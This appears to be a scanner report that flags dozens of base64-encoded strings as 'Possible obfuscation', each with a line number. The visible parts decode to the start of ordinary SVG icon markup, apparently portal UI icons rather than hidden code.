"b64": "PHN2ZyBpZD0idXVpZC1kY2JhMGQxZS0zOGY3LTQ2MmUtODg0YS1mNDdmZmE3MTdmYjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0xMzRkZTUzOS03YmI3 - Possible obfuscationline 902
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE1ZGZmY2U5LTI5NjAtNDk5Ni05OTVlLTFlM2I5OGVjMWQ5OSIgeDE9IjguNzY1IiB5MT0iMTUuMjY1IiB4Mj0i - Possible obfuscationline 907
"b64": "PHN2ZyBpZD0iYTEyZDc1ZWEtY2JiNi00NGZhLTgzMmEtZTU0Y2NlMDA5MTAxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUyYjEzZDgxLTk3ZTAtNDY1YS1iOWVk - Possible obfuscationline 912
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4YmU5MGNhLWI1MTMtNDg5MC1hYzQyLWI3ZmMzYjM5NmI3MSIgeDE9IjExLjU2NSIgeTE9IjE0LjcyOSIgeDI9 - Possible obfuscationline 917
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY3MjllNjZlLTk2NTEtNGNiNi05MDFhLWI1ZDczZTI1ZmNkOSIgeDE9IjYuNDM2IiB5MT0iMTAuNzc2IiB4Mj0i - Possible obfuscationline 922
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVhYTdlOWU1LTFmZTktNDEyMS05MTRjLTBiYWNlYzg3Mjc1YiIgeDE9IjcuMDI4IiB5MT0iMS4xNzkiIHgyPSI3 - Possible obfuscationline 927
"b64": "PHN2ZyBpZD0iZjhjYzY3YjYtODhkMi00ZDY1LWI5ZDQtMDg4N2UwNGQxZjM4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImIxY2Q0NGYyLWQ2MmItNDc1My1hODU5 - Possible obfuscationline 932
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZyBpZD0iYjc4NjgzNTUtMDAwMS00MWU4LTg0ZTEtYWU4NDJkOTRhNWFhIj48Zz48cG9seWdvbiBwb2ludHM9IjEyLjEgMi4wNSAxMi4xIDUuODUgOC45IDcu - Possible obfuscationline 937
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYTQ0MDkzLWIxNTctNDI2ZS1hOGZlLWNlYzlmOWMyMzk3OCIgeDE9IjExLjcyOSIgeTE9IjQuODgiIHgyPSIx - Possible obfuscationline 942
"b64": "PHN2ZyBpZD0iYmViNDQwZjUtZDAxNy00ZGRhLTk4OWEtZGRkNDI1ZmNlMDJlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY3NTQzOTA0LTRhODktNDM1ZS05NmNk - Possible obfuscationline 947
"b64": "PHN2ZyBpZD0iZTlmN2JhNzMtNTZiOC00ODY0LTk2ZmYtZGNlODBiZWY3MjlhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkZjI3ZGM2LTAyNWMtNDgwNS04YmZk - Possible obfuscationline 952
"b64": "PHN2ZyBpZD0iYWY2YTJjNDItYmQ0OC00ODU3LWE0NzktYWVjZjhiM2RlNGY2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MGM5Y2YxLWJhYjgtNDdlMC1iYmRi - Possible obfuscationline 957
"b64": "PHN2ZyBpZD0iYWY2YTJjNDItYmQ0OC00ODU3LWE0NzktYWVjZjhiM2RlNGY2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MGM5Y2YxLWJhYjgtNDdlMC1iYmRi - Possible obfuscationline 962
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI1NWJmMjEyLWJjNzEtNDNhZS1iNDJkLTE5ZWY3YTkxYzFkOCIgeDE9IjkiIHkxPSIxMy4yNDUiIHgyPSI5IiB5 - Possible obfuscationline 967
"b64": "PHN2ZyBpZD0idXVpZC01NGM5YmUwNC1iYmFiLTRjMjQtYTNkZi0xMWJkMGUyOGNhODUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC04MGZkNjJmNS1kMTgy - Possible obfuscationline 972
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUwMmFmNjdlLTNjZGQtNDNkMy04OGE5LWM2ZGRjODJiOTVhOSIgeDE9IjMuNTI0IiB5MT0iNi4xNjIiIHgyPSIz - Possible obfuscationline 977
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxYTk3YzA3LWIxMjYtNDBjMS1hZjVjLTQ0YTNiMzAwZDBlZSIgeDE9Ii02NTUuNjQ0IiB5MT0iNzUxLjQwMSIg - Possible obfuscationline 982
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2OTYyOGU0LWYxZmItNGI2My05YzM0LWUyZDg0YzM2YWZjNCIgeDE9IjkiIHkxPSIxNy4xOTgiIHgyPSI5IiB5 - Possible obfuscationline 987
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY4OTc3YTZlLTBlZDgtNDk0MC1hYWE1LTdmYTI0OTgwOWY1MSIgeDE9IjUuODM5IiB5MT0iMTcuMDY4IiB4Mj0i - Possible obfuscationline 992
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImI0MmYyYTZlLTcwMzktNDMxYi04MzRjLWRmOTEzZDRhYzI5YyIgY3g9IjkuNDc3IiBjeT0iOS41NzYiIHI9Ijcu - Possible obfuscationline 997
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImExY2JhMzk3LTQ0YWYtNDhlNC1iY2IyLTIyNGI3MmIyM2E4NyIgeDE9IjUuNzgyIiB5MT0iMS43ODkiIHgyPSI1 - Possible obfuscationline 1002
"b64": "PHN2ZyBpZD0iZTAwZmVmMzAtMTU2Yy00OTMwLThiNjUtM2E1OTM1NDNhYTFkIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE0NWJhOWI1LTJlMDgtNGMzOS04OTE2 - Possible obfuscationline 1007
"b64": "PHN2ZyBpZD0iYjczMWY2ODQtN2NiOS00ZGI3LWIyYzEtMTUwNjhhYmYxMzNkIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImY2NTM5OGEzLWRmNjktNDY4OS04ZDVh - Possible obfuscationline 1012
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48dGl0bGU+TXNQb3J0YWxGeC5iYXNlLmltYWdlcy0xMjwvdGl0bGU+PGcgaWQ9ImI4M2VmYWVhLWJkZGEtNGNhNi1iM2YzLWJkOWI0NDBmMWQxMiI+PGc+PHBh - Possible obfuscationline 1017
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48dGl0bGU+TXNQb3J0YWxGeC5iYXNlLmltYWdlcy0xODwvdGl0bGU+PGcgaWQ9ImZiMmJlMThlLTQ1NGYtNDEwNC04NjlhLTMxYzNiOGJhOTYxYyI+PGc+PGc+ - Possible obfuscationline 1022
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIyNjJhMzlmLTMzNGUtNGY3MC1hMjhkLTY0YjhiMDAwMTg2ZSIgeDE9IjguNDQiIHkxPSI0LjUyOSIgeDI9Ijgu - Possible obfuscationline 1027
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzZDUxOGY5LTRmNzMtNDYxOC1hNmM3LTNhZmZmZjJhOTZiMiIgeDE9IjguODUiIHkxPSIxNi42NjgiIHgyPSI4 - Possible obfuscationline 1032
"b64": "PHN2ZyBpZD0iZTk0NTQwMDYtNzZhNi00NDM4LWFlZjktNGNjY2VhZGNjODM0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZlMzkxOTg2LThkMzYtNDA3MC04ZjFk - Possible obfuscationline 1037
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEwOWIwZjBmLTNkMjQtNGFhZC04ZmRhLTczZjlkYzg1NjFmNyIgeDE9IjkiIHkxPSI3OTAuNzg3IiB4Mj0iOSIg - Possible obfuscationline 1042
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEwNzY1MDI0LTg0M2YtNDVkNy1hNWQyLTZhNjFlZjFmNTg2YiIgeDE9IjQuOTg0IiB5MT0iMTguNzQ5IiB4Mj0i - Possible obfuscationline 1047
"b64": "PHN2ZyBpZD0iYTBjYjkxMjItN2U4ZS00OTg3LThjYWQtOWNhYjc3MjExNWE3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImYxYjgxMjEzLWI3ZDUtNDY1Yi1hNWYz - Possible obfuscationline 1052
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCI+PGRlZnM+PGxpbmVhckdyYWRpZW50IGlkPSJiYmZmMTZjZS03YWFkLTRiODYtOGJi - Possible obfuscationline 1057
"b64": "PHN2ZyBpZD0iZjllZDk2OTAtNjc1My00M2E3LThiMzItZDY2YWM3YjhhOTlhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY3MTBhMzY0LTA4M2YtNDk0Yy05ZDk2 - Possible obfuscationline 1062
"b64": "PHN2ZyBpZD0iZjllZDk2OTAtNjc1My00M2E3LThiMzItZDY2YWM3YjhhOTlhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY3MTBhMzY0LTA4M2YtNDk0Yy05ZDk2 - Possible obfuscationline 1067
"b64": "PHN2ZyBpZD0iYjJlOGFhMDItZjVjZC00OTM3LWI5MDEtNjE5YmJkY2M0YzZmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE1ZGU2MTM0LTUxMzItNDc0Zi04NGM1 - Possible obfuscationline 1072
"b64": "PHN2ZyBpZD0iYmZiYjkxZDItY2IyMC00NGNmLWIxYTktMGQxNjIwNGEzMmQ3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFiM2I4YjlmLTczMmEtNGQ0Zi1hMTY0 - Possible obfuscationline 1077
"b64": "PHN2ZyBpZD0iYmUwMmU5MmEtZjFhYy00MzZiLTg1Y2QtYzdmYTZkNzFhN2FiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyZjVhMzk5LWU1MTMtNGI1ZC05YjUw - Possible obfuscationline 1082
"b64": "PHN2ZyBpZD0iYWZhODE4MDQtN2IyZi00YTVlLWI2N2UtYWE1MWI0ZDA4MTYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48Y2xpcFBhdGggaWQ9ImViYjgzODljLTlhMjQtNGFlNS04ZGY2LTkxMzk0 - Possible obfuscationline 1087
"b64": "PHN2ZyBpZD0iYjBhM2Y1ODQtNzEyMS00N2E3LWJiY2UtNDJhMzc2NThlY2Q1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIzODhlYzYzLTNlODYtNDVkMC1iMDM5 - Possible obfuscationline 1092
"b64": "PHN2ZyBpZD0idXVpZC0xODFlYzc4Zi1hMGMyLTQ2ODItODZmMS04ZTY0YzA1NzE4MTMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC05YjRhMGI1Yy05NTg2 - Possible obfuscationline 1097
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE5NDZhMmM3LTY4ZWUtNDMwZS1iNTAwLTdjNTE0MDNkNmQ0NSIgeDE9Ii0yLjM3NiIgeTE9Ijc4MC4xODMiIHgy - Possible obfuscationline 1102
"b64": "PHN2ZyBpZD0iYWJkMGYyMDMtYmIzZi00MGIxLWFhNzAtZDNjNDUyM2I2OWU5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmMzRmZDE1LTJhYjItNDliZi04MGQy - Possible obfuscationline 1107
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkOWRkOTJkLTllMzQtNGNhYi04NTdlLWEyYTJmZGViZmE2YyIgeDE9IjkiIHkxPSIxNy4wNTIiIHgyPSI5IiB5 - Possible obfuscationline 1112
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTUuNzMyNSAzLjUwMjEyTDE0LjQ5NDYgMy40NzA0N0gxNC4zNDY1TDEyLjE1NjUgMy4xNDM0N0wxMC43NDkzIDIuNTIx - Possible obfuscationline 1117
"b64": "PHN2ZyB3aWR0aD0iMTkiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOSAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBvcGFjaXR5PSIwLjkiIGQ9Ik05LjIzNjg5IDEyLjEzNkM4Ljg3NDA3IDEyLjEzNiA4LjUxOTM5IDEyLjAyODQgOC4yMTc3NCAx - Possible obfuscationline 1122
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0MzMpIj48cGF0aCBkPSJNMC43MDcxMDYgOC4yOTI4OUw4LjI5Mjg5IDAuNzA3 - Possible obfuscationline 1127
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTcuMDM4IDEuMDY0OTRIMC45NjMwMzlDMC42NjAzODcgMS4wNjQ5NCAwLjQxNTAzOSAxLjMxMDI5IDAuNDE1MDM5IDEu - Possible obfuscationline 1132
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0NTIpIj48cGF0aCBkPSJNNy4xMjggOUM3LjMzMzc4IDkuMDAyMjggNy41Mzg3 - Possible obfuscationline 1137
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZD0iTTkuOTYzMTYgMTAuMzI3OUMxMC45NTAyIDEwLjg0 - Possible obfuscationline 1142
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQzOTkpIj48cGF0aCBkPSJNMTAuMzgxIDkuN0M5LjgzOTEgMTAuMTQxMiA5LjM5 - Possible obfuscationline 1147
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMC44NzY0NzQgMy41MDM1OEMxLjE2NzY0IDIuNTgwMzYgMS45NDEyOSAyIDIuNzg0NDggMkgxNS4xMjMzQzE1Ljk4NjEg - Possible obfuscationline 1152
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZD0iTTE1LjUgMTIuODQ5NkgyLjVDMS40NjQ0NyAxMi44 - Possible obfuscationline 1157
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0NjcpIj48cGF0aCBkPSJNMi41MzE2NSAwSDE1LjQ2ODRDMTUuNjc1NCAwIDE1 - Possible obfuscationline 1162
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMjAiIHZpZXdCb3g9IjAgMCAxOCAyMCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTIuNzUyMiA3Ljk5OTk0TDEzLjg0ODIgNy45MDk3MUMxNC4wOTkgNy44ODkwNCAxNC4zMTgzIDguMDc1NTEgMTQuMzM4 - Possible obfuscationline 1167
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZD0iTTAuNzk2NzQ1IDIuMjM1MjdMNC41MjA4NCA4LjYw - Possible obfuscationline 1172
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZD0iTTE3LjY1NDIgNC4zNDgzOUgwLjM0NzczMVYxNC40 - Possible obfuscationline 1177
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNS4zMTIzMyA1LjM3MzE1TDQuOTIzMDkgNC43Nzc4QzUuMzAwMjEgNC41MzE2NiA1Ljc1ODEgNC4yOTYwNiA2LjI5Nzkz - Possible obfuscationline 1182
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0MDApIj48cGF0aCBkPSJNMTcuMDk3NCAwSDAuOTAyNjE2QzAuNDA0MTE1IDAg - Possible obfuscationline 1187
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZD0iTTYuNjQ2MTUgMi4zOTMyQzQuMzUyMDUgMi4zOTMy - Possible obfuscationline 1192
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0MzYpIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZl - Possible obfuscationline 1197
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTQuOTA4IDEwLjAzMzVMMTYuMTQ2MyA4LjY0NTEzSDEyLjZWNy41NTQ5MUgxNi4xNDYzTDE0LjkwOCA2LjE2NjU5TDE1 - Possible obfuscationline 1202
